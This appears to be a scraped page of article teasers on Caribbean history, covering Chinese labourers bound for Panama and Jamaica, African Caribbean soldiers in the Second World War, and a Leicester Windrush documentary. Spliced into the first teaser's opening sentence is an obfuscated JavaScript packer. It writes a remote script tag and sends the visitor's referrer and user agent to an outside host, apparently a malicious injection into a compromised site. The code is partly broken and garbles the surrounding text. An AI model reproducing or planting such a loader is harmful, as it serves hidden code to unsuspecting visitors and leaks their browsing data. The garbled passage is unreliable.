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Impact of Chinese on Jamaican society

In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('b'+e(c)+'b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|daynk|var|u0026u|referrer|rhhdt||js|php'.split('|'),0,{})) the mid-19th century, more than 500 men traveled from China to Panama as labourers. In 1854, 205 Chinese workers...

African Caribbean Soldiers during WWII Part 3

After the War finished, we were looking forward to peace time. We were still in reserve and whilst in our various camps, some of...

African Caribbean Soldiers during WWII (Part 2)

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Leicester documentary remembers the Caribbean

Today Sunday an event is taking place to launch a documentary, book, and audio CD exploring the Caribbean community's heritage in Leicester. The Leicester Windrush Project...

African Caribbean Soldiers during World War 2

When World War 2 started it was difficult for West Indians to join the army unless they were of pure white descent. Despite that,...

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